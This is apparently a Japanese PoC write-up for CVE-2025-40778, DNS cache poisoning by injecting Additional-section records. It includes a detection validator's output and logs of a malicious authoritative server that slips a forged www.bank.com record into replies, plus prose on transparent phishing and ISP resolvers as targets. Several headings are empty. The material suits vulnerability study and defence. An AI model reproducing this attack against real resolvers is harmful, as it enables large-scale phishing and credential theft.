Additional Records インジェクションによる DNS キャッシュポイズニング脆弱性の教育的デモンストレーション。
教育目的のみ
このツールは、教育および許可されたセキュリティテストの目的でのみ提供されています。所有していない、または明示的なテスト許可を得ていないシステムに対してこのツールを不正に使用することは、違法かつ非倫理的です。
作者は、このツールの誤用または損害について一切の責任を負いません。
この PoC は、侵害された権威 DNS サーバーが DNS 応答にポイズニングされたレコードを注入し、ユーザーに知られることなく悪意のあるサーバーへリダイレクトする可能性があることを実証します。
攻撃ベクトル:
考えられるシナリオ:
👤 作者と連絡先
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
このツールは、CVE-2025-40778 の脆弱性を悪用できるかどうかを検出します。
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
説明: このステップでは、侵害されたネームサーバーをシミュレートする悪意のある権威 DNS サーバーを起動します。サーバーは特定の IP とポート(127.0.0.2:5301)でリッスンし、応答にポイズニングされた DNS レコードを注入する準備をします。設定されると、www.test.local への正規のクエリには正しい IP アドレスで応答しますが、同時に www.bank.com に対する攻撃者制御の IP を指す悪意のあるレコードを注入します。この二重応答動作がキャッシュポイズニング攻撃の核心です。脆弱な DNS リゾルバーは、1 つのドメインのみが要求されたにもかかわらず、正規の回答とポイズニングされたレコードの両方をキャッシュします。
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
説明: ここでは、ローカルリゾルバー(BIND)を介して標準の DNS クエリを実行し、インフラストラクチャが正しく機能していることを確認します。www.test.local へのクエリは、期待どおり正規の IP アドレス(192.168.0.136)を返すはずです。この時点では、エンドユーザーには応答は正常に見えます。侵害の兆候は見えません。しかし、舞台裏では、脆弱な DNS リゾルバーはすでに両方のレコードをキャッシュしています。要求した正規のレコードと、応答の追加セクションに注入された www.bank.com のポイズニングされたレコードです。このステップは、DNS リゾルバーが悪意のある権威サーバーとの通信に成功し、その応答を処理したことを確認します。
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
説明: このステップでは、攻撃者の視点からキャッシュポイズニング成功の証拠を明らかにします。悪意のある DNS サーバーのログは、www.test.local へのクエリを受信し、正規の回答で応答し、www.bank.com のポイズンレコードの注入に成功したことを示しています。「RRs: A,A」という表記は、応答で 2 つの A レコード(1 つは正規、1 つは悪意のあるもの)が送信されたことを示します。この瞬間、被害者の DNS キャッシュは侵害されています。このリゾルバーからの www.bank.com への後続のクエリは、実際の銀行ウェブサイトの代わりに攻撃者の IP(192.168.0.100)を返します。これにより、ユーザーが正しい URL を見ながら悪意のあるサーバーに接続する透過的なフィッシング攻撃が可能になります。この攻撃はエンドユーザーには見えず、DNS キャッシュが期限切れになるまで(TTL)持続します。
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
これが実際に意味すること:
あなたが銀行のウェブサイトにアクセスしようとしている一般ユーザーだと想像してください。ブラウザに www.bank.com を慎重に入力します。URL は 100% 正しく、タイプミスもなく、メールからの不審なリンクもありません。ブラウザのアドレスバーには、あなたが信頼する正確なドメインが表示されています。すべてが正規に見えます。
しかし、舞台裏では実際に次のことが起こっていました:
あなたの会社の DNS サーバーは、この脆弱性を使用してキャッシュをポイズニングした攻撃者によって侵害されていました。あなたのコンピュータが「www.bank.com はどこですか?」と尋ねると、ポイズニングされた DNS は実際の銀行のアドレスの代わりに攻撃者のサーバー IP アドレスで応答します。
攻撃の構造
攻撃者が盗めるもの:
なぜこれほど危険なのか:
この攻撃は被害者には完全に見えません。警告も、危険信号も、一般ユーザーが検出する方法もありません。セキュリティに精通した専門家でさえ、攻撃がユーザーのデバイスではなくインフラストラクチャレベルで発生するため、被害者になり得ます。1 つの侵害された DNS サーバーが同時に数千人のユーザーに影響を与える可能性があり、組織を標的とするサイバー犯罪者にとって非常に効果的な攻撃ベクトルとなります。
結論: CVE-2025-40778 は、攻撃者が信頼を武器化することを可能にします。インターネットをナビゲートするために依存しているインフラストラクチャ自体が侵害されると、最も慎重なユーザーでさえ脆弱になります。これが、この脆弱性を理解し、テストし、緩和することがあらゆる組織のセキュリティ態勢にとって重要である理由です。
重要な要件: この攻撃が成功するには、被害者が侵害された DNS リゾルバーを使用している必要があります。この攻撃はエンドユーザーのデバイスを直接標的とするのではなく、ユーザーがインターネットをナビゲートするために依存する DNS インフラストラクチャを標的とします。
実際の攻撃対象:
攻撃者の主な目的は、大規模なユーザーベースにサービスを提供する DNS リゾルバーを侵害することです。最も価値の高い標的には以下が含まれます:
これが重要な理由:
攻撃の効果は DNS リゾルバーのユーザーベースに比例して拡大します。1 つの ISP の DNS サーバーを侵害すると、DNS 設定を手動で変更していないすべての顧客を侵害する可能性があります。これが、インフラストラクチャレベルでの DNS セキュリティが重要である理由です。単一の脆弱なリゾルバーが、そのインフラストラクチャが安全であると信頼する数千または数百万のユーザーに影響を与える大規模な攻撃面を生み出す可能性があります。